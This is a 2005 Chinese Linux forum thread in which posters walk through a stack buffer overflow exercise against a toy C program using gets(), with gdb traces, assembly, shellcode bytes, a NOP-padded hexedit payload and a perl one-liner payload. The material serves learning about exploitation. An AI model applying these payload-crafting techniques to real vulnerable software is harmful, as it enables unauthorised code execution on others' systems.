LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 7564|回复: 35

一次缓冲区溢出攻击试验

[复制链接]
发表于 2005-3-13 22:36:37 | 显示全部楼层 |阅读模式
一次缓冲区溢出攻击试验

这是有人问我的题目,由于这段时间工作紧张,一直没有时间仔细考虑。这两天稍微有点空闲,就把它给做出来了。

试验用的代码如下:

  1. #include <stdio.h>

  2. int main(int argc, char **argv)
  3. {
  4.     int value;
  5.     char buf[80];
  6.     gets(buf);
  7.     if (value == 0x0a0a0a0a)
  8.         printf("ok\n");
  9. }
复制代码


1.编译程序,先用gdb跟踪调试,找到value,buf的地址和ebp的值。

  1. kj501@UsbLinux c $ gdb a.out
  2. GNU gdb 6.0
  3. Copyright 2003 Free Software Foundation, Inc.
  4. GDB is free software, covered by the GNU General Public License, and you are
  5. welcome to change it and/or distribute copies of it under certain conditions.
  6. Type "show copying" to see the conditions.
  7. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  8. This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db
  9. library "/lib/libthread_db.so.1".

  10. (gdb) l
  11. 1       #include <stdio.h>
  12. 2
  13. 3       int main(int argc, char **argv)
  14. 4       {
  15. 5           int value;
  16. 6           char buf[80];
  17. 7           gets(buf);
  18. 8           if (value == 0x0a0a0a0a)
  19. 9               printf("ok\n");
  20. 10      }
  21. (gdb) b 7
  22. Breakpoint 1 at 0x80483c4: file tt.c, line 7.
  23. (gdb) r
  24. Starting program: /home/kj501/program/c/a.out
  25. warning: Unable to find dynamic linker breakpoint function.
  26. GDB will be unable to debug shared library initializers
  27. and track explicitly loaded dynamic code.

  28. Breakpoint 1, main (argc=1, argv=0xbffff454) at tt.c:7
  29. 7           gets(buf);
  30. (gdb) print &value
  31. $1 = (int *) 0xbffff3ec
  32. (gdb) print &buf
  33. $2 = (char (*)[80]) 0xbffff390
  34. (gdb) print $ebp
  35. $3 = (void *) 0xbffff3f8
复制代码

由此得到&value=0xbffff3ec,&buf=0xbfff390,%ebp=0xbffff3f8,自然,0xbffff3fc(%ebp+4)就是ret地址了。
2.再继续跟踪,找到main函数结束的返回的__libc_start_main ()的地址。

  1. (gdb) r
  2. Starting program: /home/kj501/program/c/a.out
  3. warning: Unable to find dynamic linker breakpoint function.
  4. GDB will be unable to debug shared library initializers
  5. and track explicitly loaded dynamic code.
  6. dsa

  7. Breakpoint 1, main (argc=1, argv=0xbffff454) at tt.c:8
  8. 8           if (value == 0x0a0a0a0a)
  9. (gdb) display /x $pc
  10. 1: /x $pc = 0x80483cf
  11. (gdb) si
  12. 0x080483d6      8           if (value == 0x0a0a0a0a)
  13. 1: /x $pc = 0x80483d6
  14. (gdb) si
  15. 10      }
  16. 1: /x $pc = 0x80483e4
  17. (gdb) si
  18. 0x080483e5 in main (argc=134513588, argv=0x1) at tt.c:10
  19. 10      }
  20. 1: /x $pc = 0x80483e5
  21. (gdb) si
  22. 0xb7eed880 in __libc_start_main () from /lib/libc.so.6
  23. 1: /x $pc = 0xb7eed880
复制代码

得到__libc_start_main的地址0xb7eed880。
3.反汇编mian函数,得到执行语句if (value == 0x0a0a0a0a)的指令地址:

  1. (gdb) disas main
  2. Dump of assembler code for function main:
  3. 0x080483b4 <main+0>:    push   %ebp
  4. 0x080483b5 <main+1>:    mov    %esp,%ebp
  5. 0x080483b7 <main+3>:    sub    $0x78,%esp
  6. 0x080483ba <main+6>:    and    $0xfffffff0,%esp
  7. 0x080483bd <main+9>:    mov    $0x0,%eax
  8. 0x080483c2 <main+14>:   sub    %eax,%esp
  9. 0x080483c4 <main+16>:   lea    0xffffff98(%ebp),%eax
  10. 0x080483c7 <main+19>:   mov    %eax,(%esp,1)
  11. 0x080483ca <main+22>:   call   0x80482bc
  12. 0x080483cf <main+27>:   cmpl   $0xa0a0a0a,0xfffffff4(%ebp)
  13. 0x080483d6 <main+34>:   jne    0x80483e4 <main+48>
  14. 0x080483d8 <main+36>:   movl   $0x80484e4,(%esp,1)
  15. 0x080483df <main+43>:   call   0x80482dc
  16. 0x080483e4 <main+48>:   leave
  17. 0x080483e5 <main+49>:   ret
  18. End of assembler dump.
复制代码

4.编译写一个汇编程序:

  1. .section .data
  2. .section .text
  3. .global _start
  4. _start:
  5. movl $0xb7eed880,4(%ebp)

  6. movl $0xaaaaaaaa,%eax
  7. andl $0x0f0f0f0f,%eax
  8. subl $80,%esp
  9. movl $0xbffff3ec,%ebx
  10. movl %eax,(%ebx)

  11. movl $0x80483cf,%eax
  12. call *%eax
复制代码

这段汇编主要有三个部分,第一部分主要是保证缓冲溢出程序后能正常结束。不然就只能得到段错误。
第二部分是用或的方式把%eax的值改为0x0a0a0a0a,然后再写到value的地址去。之所以要subl $80,%esp,是要保证value的地址在堆栈范围内,才能正常读写。
第三部分,以调用函数的方式,将程序的执行转到main函数中if (value == 0x0a0a0a0a)处继续进行。
5.将汇编代码转为shellcode。
一般常用的做法是把shellcode保存在环境变量中,我的习惯做法是用hexedit编译一个文件,在里面写上shellcode的内容。然后把它重定向给可执行程序。

  1. bash-2.05b$ as vv.s -o vv.o
  2. bash-2.05b$ objdump -d vv.o

  3. vv.o:     文件格式 elf32-i386

  4. 反汇编 .text 节:

  5. 00000000 <_start>:
  6.    0:   c7 45 04 80 d8 ee b7    movl   $0xb7eed880,0x4(%ebp)
  7.    7:   b8 aa aa aa aa          mov    $0xaaaaaaaa,%eax
  8.    c:   25 0f 0f 0f 0f          and    $0xf0f0f0f,%eax
  9.   11:   83 ec 50                sub    $0x50,%esp
  10.   14:   bb ec f3 ff bf          mov    $0xbffff3ec,%ebx
  11.   19:   89 03                   mov    %eax,(%ebx)
  12.   1b:   b8 cf 83 04 08          mov    $0x80483cf,%eax
  13.   20:   ff d0                   call   *%eax
  14. bash-2.05b$
复制代码

objdump结果的左边就是二进制机器码。把它用hexedit编辑到作为shellcode使用的文件中。

  1. bash-2.05b$ hexedit shellcode.txt

  2. 00000000   90 90 90 90  C7 45 04 80  D8 EE B7 B8  AA AA AA AA  25 0F 0F 0F  0F 83 EC 50  .....E..........%......P
  3. 00000018   BB EC F3 FF  BF 89 03 B8  CF 83 04 08  FF D0 90 90  90 90 90 90  90 90 90 90  ........................
  4. 00000030   90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  ........................
  5. 00000048   90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  ........................
  6. 00000060   90 90 90 90  90 90 90 90  F8 F3 FF BF  90 F3 FF BF  00                        .................
复制代码

shellcode的长度要进行计算,从0xbffff390到0xbffff400一共是0x70个字节,最后的一个00是我在试验时加的,完全可以去掉的。
0xbffff3fc地址最关键,必须改为0xbffff390,以便跳转的buf的地址所在处。为也保持%ebp不变,所以0xbffff3f8要维持原样。
其余没有使用的空闲地址,一律用0x90填充。
6.在gdb中检验结果:

  1. kj501@UsbLinux c $ gdb a.out
  2. GNU gdb 6.0
  3. Copyright 2003 Free Software Foundation, Inc.
  4. GDB is free software, covered by the GNU General Public License, and you are
  5. welcome to change it and/or distribute copies of it under certain conditions.
  6. Type "show copying" to see the conditions.
  7. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  8. This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db
  9. library "/lib/libthread_db.so.1".

  10. (gdb) r < shellcode.txt
  11. Starting program: /home/kj501/program/c/a.out < shellcode.txt
  12. warning: Unable to find dynamic linker breakpoint function.
  13. GDB will be unable to debug shared library initializers
  14. and track explicitly loaded dynamic code.
  15. ok

  16. Program exited with code 03.
  17. (gdb)
复制代码

OK! 执行成功!程序也正常退出了。
但是,如果不在gdb中执行,会出现非法指令的提示,估计可能是指令对齐造成的。
需要注意的是,每个机器的情况不一样,需要自己根据实际情况进行相应的修正,仅仅靠碰运气是很难成功的。
发表于 2005-3-14 00:37:28 | 显示全部楼层
强。啥时候才能到您这水平。看来不能骄傲,还得努力。
回复 支持 反对

使用道具 举报

发表于 2005-3-14 00:47:58 | 显示全部楼层
感谢Kj501版主的解答。 我的想法是
1 gdb 检查当执行到if(value==0x0a0a0a0a) 时ebp, esp的值;
2 溢出修改ret返回地址
3 当跳转到shellcode(栈里)执行时:用第1步记录的ebp,esp 恢复了ebp,esp的值; 产生一个0x0a0a0a0a的值,赋给value地址;
4 重新修改ret地址的值为原来溢出前的返回地址.
4 直接跳转到if(value==0x0a0a0a0a0a) 处.... 正常结束.


  1. BITS 32
  2. jmp callit;
  3. doit:
  4.         mov     long     eax,   0xbffffcdc;
  5.         mov     long    [eax],  0x0b0b0b0b;
  6.         sub      long    [eax],  0x01010101;
  7.         mov     long     eax,   0xbffffcec;
  8.         mov     long    [eax],  0x40036dc6;
  9.         mov     long     esp,   0xbffffc70;
  10.         mov     long     ebp,   0xbffffce8;   
  11.         mov     long     eax,   0x080483f9;
  12.         jmp     long     eax;

  13. callit:
  14.         call doit;
复制代码

这是生成的shellcode

  1. perl -e 'print "\x90" x 36 .
  2.         "\xe9\x2d\x00\x00\x00\xb8\xdc\xfc\xff\xbf\xc7\x00\x0b\x0b\x0b" .
  3.         "\x0b\x81\x28\x01\x01\x01\x01\xb8\xec\xfc\xff\xbf\xc7\x00\xc6" .
  4.         "\x6d\x03\x40\xbc\x70\xfc\xff\xbf\xbd\xe8\xfc\xff\xbf\xb8\xf9" .
  5.         "\x83\x04\x08\xff\xe0\xe8\xce\xff\xff\xff\x90" .
  6.         "\x90" x 12 . "\x18\xfd\xff\xbf" . "\xe0\xfc\xff\xbf"'

复制代码

我觉得kj501版主的方法比我的好的多,学习!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-3-14 09:03:41 | 显示全部楼层
呵呵,条条大路通罗马!基本的原理都是一样的。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-3-14 09:07:31 | 显示全部楼层
Post by rorot

这是生成的shellcode

  1. perl -e 'print "\x90" x 36 .
  2.         "\xe9\x2d\x00\x00\x00\xb8\xdc\xfc\xff\xbf\xc7\x00\x0b\x0b\x0b" .
  3.         "\x0b\x81\x28\x01\x01\x01\x01\xb8\xec\xfc\xff\xbf\xc7\x00\xc6" .
  4.         "\x6d\x03\x40\xbc\x70\xfc\xff\xbf\xbd\xe8\xfc\xff\xbf\xb8\xf9" .
  5.         "\x83\x04\x08\xff\xe0\xe8\xce\xff\xff\xff\x90" .
  6.         "\x90" x 12 . "\x18\xfd\xff\xbf" . "\xe0\xfc\xff\xbf"'

复制代码

我觉得kj501版主的方法比我的好的多,学习!

这段shellcode中有0x00,这相当于'\0',在输入时会导致shellcode被中断的吧。
回复 支持 反对

使用道具 举报

发表于 2005-3-14 11:07:02 | 显示全部楼层
gets()导致中断的是0x0a 和 EOF(-1), 0x00不会被截断的:)

$ cat gets.c
int main(int argc, char** argv)
{
        int i;
        char buf[64];
        gets(buf);
        
        for (i = 0; i<4; ++i)
                printf("x%02x", buf);
        printf("\n");
        return 0;
}

$ cc gets.c -o gets
$ perl -e 'print "\x00\x01\x02\x03"' | ./gets
x00x01x02x03
回复 支持 反对

使用道具 举报

发表于 2005-3-15 21:15:23 | 显示全部楼层
有个疑问,直接将地址值(&buf和&value)写入代码中是不是不太合适。
难道每次代码运行的地址分配一样?
还有怎样方便的形成shellcode.txt,能把过程说清楚一些么?
谢谢。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-3-16 09:07:46 | 显示全部楼层
Post by spaced
有个疑问,直接将地址值(&buf和&value)写入代码中是不是不太合适。
难道每次代码运行的地址分配一样?
还有怎样方便的形成shellcode.txt,能把过程说清楚一些么?
谢谢。

代码运行时的地址在连接时已经确定。不信你可以用gdb跟踪看看。
我的shellcode.txt是直接用hexedit编辑的。一般的做法是用一段程序输出到一个环境变量中。
回复 支持 反对

使用道具 举报

发表于 2005-3-16 09:39:58 | 显示全部楼层
不一样啊(我用的是rh7.3)。请看下面:

  1. [root@localhost ccode]# gdb over
  2. GNU gdb Red Hat Linux (5.1.90CVS-5)
  3. Copyright 2002 Free Software Foundation, Inc.
  4. GDB is free software, covered by the GNU General Public License, and you are
  5. welcome to change it and/or distribute copies of it under certain conditions.
  6. Type "show copying" to see the conditions.
  7. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  8. This GDB was configured as "i386-redhat-linux"...
  9. (gdb) b 6
  10. Breakpoint 1 at 0x8048446: file bufoverflow.c, line 6.
  11. (gdb) r
  12. Starting program: /home/zyl/ccode/over

  13. Breakpoint 1, main (argc=1, argv=0xbfffe924) at bufoverflow.c:6
  14. warning: Source file is more recent than executable.

  15. 6         char buf[80] ;
  16. (gdb) print &value
  17. $1 = (int *) 0xbfffe8ac
  18. (gdb) print &buf
  19. $2 = (char (*)[80]) 0xbfffe850
  20. (gdb) print $ebp
  21. $3 = (void *) 0xbfffe8b8


  22. [root@localhost ccode]# gdb over
  23. GNU gdb Red Hat Linux (5.1.90CVS-5)
  24. Copyright 2002 Free Software Foundation, Inc.
  25. GDB is free software, covered by the GNU General Public License, and you are
  26. welcome to change it and/or distribute copies of it under certain conditions.
  27. Type "show copying" to see the conditions.
  28. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  29. This GDB was configured as "i386-redhat-linux"...
  30. (gdb) b 6
  31. Breakpoint 1 at 0x8048446: file bufoverflow.c, line 6.
  32. (gdb) r
  33. Starting program: /home/zyl/ccode/over

  34. Breakpoint 1, main (argc=1, argv=0xbfffe8a4) at bufoverflow.c:6
  35. warning: Source file is more recent than executable.

  36. 6         char buf[80] ;
  37. (gdb) print &value
  38. $1 = (int *) 0xbfffe82c
  39. (gdb) print &buf
  40. $2 = (char (*)[80]) 0xbfffe7d0

复制代码
回复 支持 反对

使用道具 举报

 楼主| 发表于 2005-3-16 18:06:18 | 显示全部楼层
你没有理解我说的“代码运行时的地址在连接时已经确定”是什么意思。我的意思是说只要一个程序已经被编译链接好了,每次运行时,它的地址都不会改变。并不是说每次编译或者在不同的环境下编译,它们的地址不会改变。
你的编译环境和我的不一样,具体的变量地址发生变化,是很正常的。
如果你想做缓冲区溢出攻击,就必须根据你的实际情况,调整shellcode中的参数。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表